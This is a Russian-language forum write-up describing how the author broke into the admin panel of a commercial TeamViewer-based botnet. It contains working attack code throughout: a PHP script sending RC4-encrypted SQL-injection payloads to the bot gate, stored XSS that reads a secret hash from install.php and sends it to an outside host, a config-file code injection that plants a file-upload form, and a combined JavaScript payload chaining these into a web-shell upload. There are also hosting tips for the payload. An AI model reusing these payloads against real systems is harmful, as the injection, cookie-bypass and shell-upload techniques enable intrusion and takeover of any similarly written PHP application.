Не так давно мне попалась панелька очередного бота, сделанного на основе TeamViewer. Авторы сего чуда - spyadmin.com (они же vzlomov.com) уже давно в блеках, поэтому можем себе ломать сколько влезет (законом не запрещено и на 95% безопаснее, чем ловить покемонов в церкви). Структура такая: Если вкратце: config.php - подключение к бд, настройки логина/пароля getinfo.php - гейт для ботов index.php - сама панель install.php - редактирование настроек lang.php - языки. setcmd.php - отправка команд ботам. В папках ничего особенного - стили, js, картинки. SQL-инъекция Для начала, было решено просмотреть код гейта. Как назло, практически все параметры фильтровались. Разработчик совершил только две ошибки: Код: $bot_uniq = $GET["uniq"]; // TV UNIQ $bot_id = $GET["id"]; // TV ID //Ошибка №1. Условие могло бы быть и чуть построже. if(!isset($bot_id) || strlen($bot_id)<9) exit; //И чуть ниже if(!isset($bot_uniq)) { $bot_uniq = $bot_id; //Ошибка №2. Отсутствует фильтрация переменной $bot_uniq $update_result = mysql_query('UPDATE `'.$cfg_tbl_name.'` SET bot_uniq = "'.$bot_uniq.' WHERE bot_id = "'.mysql_real_escape_string($bot_id).'"'); } Но и этих двух ошибок хватило нам с лихвой. Выполнение SQL-инъекции немного затруднял тот факт, что все данные идущие в гейт должны были быть зашифрованы с помощью RC4. В итоге я набросал небольшой скрипт для работы с SQL-инъекцией: Код: <?php function rc4($key, $str){ $s = array(); for ($i = 0; $i < 256; $i++) { $s[$i] = $i; } $j = 0; for ($i = 0; $i < 256; $i++) { $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; } $i = 0; $j = 0; $res = ''; for ($y = 0; $y < strlen($str); $y++) { $i = ($i + 1) % 256; $j = ($j + $s[$i]) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]); } return $res; } $spyadmin_domain="example.com"; $spyadmin_gate="http://".$spyadmin_domain."/getinfo.php"; //UPDATE `bot` SET bot_uniq = "'.%inject_here%.' WHERE bot_id = "'.mysql_real_escape_string($bot_id).'" $sqlinject = "\" WHERE bot_id=-1 or SLEEP(10) #"; $request = "id=".$sqlinject."\nuname=123"; $data = strtr(base64_encode(rc4($spyadmin_domain, $request)), '+/=', '-_,'); $postdata = http_build_query(array('r' => $data,)); $opts = array('http' => array( 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $postdata ) ); $context = stream_context_create($opts); $result = file_get_contents($spyadmin_gate, false, $context); echo "\n[ Done! ]\n"; echo $result; В принципе, можно было бы играть в угадайку и за пару часов получить все Bot ID. Пароль по умолчанию, для всех ботов был одинаковый. Но к счастью, была возможность изменять данные в БД, и поэтому был найден более короткий способ получения тотального контроля над админкой. XSS Почти как и в случае с SQLi, в панели (index.php) практически все переменные фильтровались. Исключение составляли лишь $bot_comment, $bot_username, $bot_compname (почему - непонятно). Немного меняем код в прошлом скрипте (чтобы вывести document.cookie): Код: $sqlinject = "\" , bot_comment='<script src=\"http://pastebin.com/raw/DMRtwJYq\"></script>' #"; Запускаем скрипт, заходим в админку: Великолепно. По идее, остается только отправить куки на свой сниффер... Но не тут то было: Код: $chk_cook = $_COOKIE["t_login"]; if($chk_cook!=md5($cfg_secret_hash.$_SERVER[REMOTE_ADDR]."tvrloginsalt")) { // Please login... } Есть привязка к IP, а значит, просто куки воровать смысла нет. Необходимо получить значение переменной $cfg_secret_hash, которая лежит в файле config.php. И которую можно изменить с помощью файла install.php. Воруем значение переменной из install.php с помощью такого кодеса: Код: var xhttp; if (window.XMLHttpRequest) { xhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xhttp = new ActiveXObject("Microsoft.XMLHTTP"); } var stringer = document.createElement('div'); xhttp.open("GET", "install.php", false); xhttp.send(); var stringer = xhttp.responseText; var res = stringer.match(/name="hashadm" class="txt" value="(.*?)"/); // Для теста //alert(res[1]); // Чтобы украсть new Image().src = 'lebron.james Пихаем все это на pastebin, и скармливаем с помощью SQLi админке. Как только администратор ботнета зайдет в панель, нам придет секретный хеш. И теперь у нас есть все, чтобы зайти в админку - генерируем хеш, подставляем его в куку to_login и заходим. Shell Upload Еще раз обращаем внимание на install.php. Код там просто потрясающий: Код: $locationdb = $_POST["locationdb"]; $logindb = $_POST["logindb"]; $passdb = $_POST["passdb"]; $namedb = $_POST["namedb"]; $nametbldb = $_POST["nametbldb"]; $loginadm = $_POST["loginadm"]; $passadm = $_POST["passadm"]; $hashadm = $_POST["hashadm"]; $mytimezone = $_POST["timezone"]; // ... немного кода... $file = 'config.php'; unlink($_SERVER['DOCUMENT_ROOT'].'/config.php'); $writecfg = "<?php\r\n"; $writecfg .= "\t\$cfg_admin_login\t= '".$loginadm."'; // admin panel login\r\n"; $writecfg .= "\t\$cfg_admin_passwd\t= '".$passadm."'; // admin panel password\r\n"; $writecfg .= "\t\$cfg_secret_hash\t= '".$hashadm."'; // admin panel secret hash\r\n"; $writecfg .= "\r\n"; $writecfg .= "\t\$cfg_localhost\t\t= '".$locationdb."'; // MySQL location\r\n"; $writecfg .= "\t\$cfg_username\t\t= '".$logindb."'; // MySQL login\r\n"; $writecfg .= "\t\$cfg_passwd\t\t\t= '".$passdb."'; // MySQL password\r\n"; $writecfg .= "\t\$cfg_bd_name\t\t= '".$namedb."'; // MySQL BD name\r\n"; $writecfg .= "\t\$cfg_tbl_name\t\t= '".$nametbldb."'; // MySQL table name\r\n"; $writecfg .= "\r\n"; $writecfg .= "\t\$cfg_time\t\t\t= '".$mytimezone."'; // TimeZone\r\n"; $writecfg .= "?>"; file_put_contents($file, $writecfg, LOCK_EX); Мы редактируем конфиг: В любое поле, после обычного значения, добавляем: Код: ';file_put_contents('upload.php','<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit></form><?php if(is_uploaded_file($_FILES[f][tmp_name])){ move_uploaded_file($_FILES[f][tmp_name], $_FILES[f][name]);}?>'); $a=' Сохраняем. Переходим по адресу upload.php и спокойно заливаем шелл. Все вместе Теперь мы соединим все вместе: с помощью SQL-инъекции внедряем XSS, потом крадем данные со страницы install.php и заливаем шелл. Заливаем этот js-код на какой-нибудь шелл: Код: var xhttp; if (window.XMLHttpRequest) { xhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xhttp = new ActiveXObject("Microsoft.XMLHTTP"); } var stringer = document.createElement('div'); xhttp.open("GET", "install.php", false); xhttp.send(); var stringer = xhttp.responseText; var res = stringer.match(/name="locationdb" class="txt" value="(.*?)"/); locationdb = res[1]; var res = stringer.match(/name="logindb" class="txt" value="(.*?)"/); logindb = res[1]; var res = stringer.match(/name="passdb" class="txt" value="(.*?)"/); passdb = res[1]; var res = stringer.match(/name="namedb" class="txt" value="(.*?)"/); namedb = res[1]; var res = stringer.match(/name="nametbldb" class="txt" value="(.*?)"/); nametbldb = res[1]; var res = stringer.match(/name="loginadm" class="txt" value="(.*?)"/); loginadm = res[1]; var res = stringer.match(/name="passadm" class="txt" value="(.*?)"/); passadm = res[1]; passadm = passadm + "';file_put_contents('upload.php','<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit></form><?php if(is_uploaded_file($_FILES[f][tmp_name])){ move_uploaded_file($_FILES[f][tmp_name], $_FILES[f][name]);}?>'); $a='"; var res = stringer.match(/name="hashadm" class="txt" value="(.*?)"/); hashadm = res[1]; xhttp.open("POST", "install.php", false); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.send("install=1&locationdb="+ locationdb +"&logindb=" + logindb +"&passdb="+ encodeURIComponent(passdb)+"&namedb="+ namedb +"&nametbldb="+ nametbldb +"&loginadm="+ loginadm +"&passadm="+ encodeURIComponent(passadm) +"&hashadm="+ hashadm+"&timezone=Europe%2FMoscow"); И внедряем его ранее описанным методом. Стоит заметить, что не надо выбирать для хранения сайты с самоподписанными сертификатами или крупные сервисы, типа pastebin - в обоих случаях код может просто не сработать. Как только ботовод зайдет на страничку, в корне будет лежать заливка файлов. При желании можно изменить код, и сразу лить шелл. Я даже не упомянул о корявой LFI, нескольких CSRF и прочих мелочах, как мне кажется, вышеописанного и так достаточно. Вот так, легко и просто, можно попасть в админку бота, который продавался (и все еще продается) за 500$. Или, если посмотреть с другой стороны, за свои же деньги можно прикупить себе соседа - кидалу, мента, кребса. Я заранее соглашусь, что шанс такого расклада невелик, но зачем лишние риски? Есть ли у Вас уверенность в том, что софт который вы используете сейчас, более защищен, чем spyadmin? © Lebro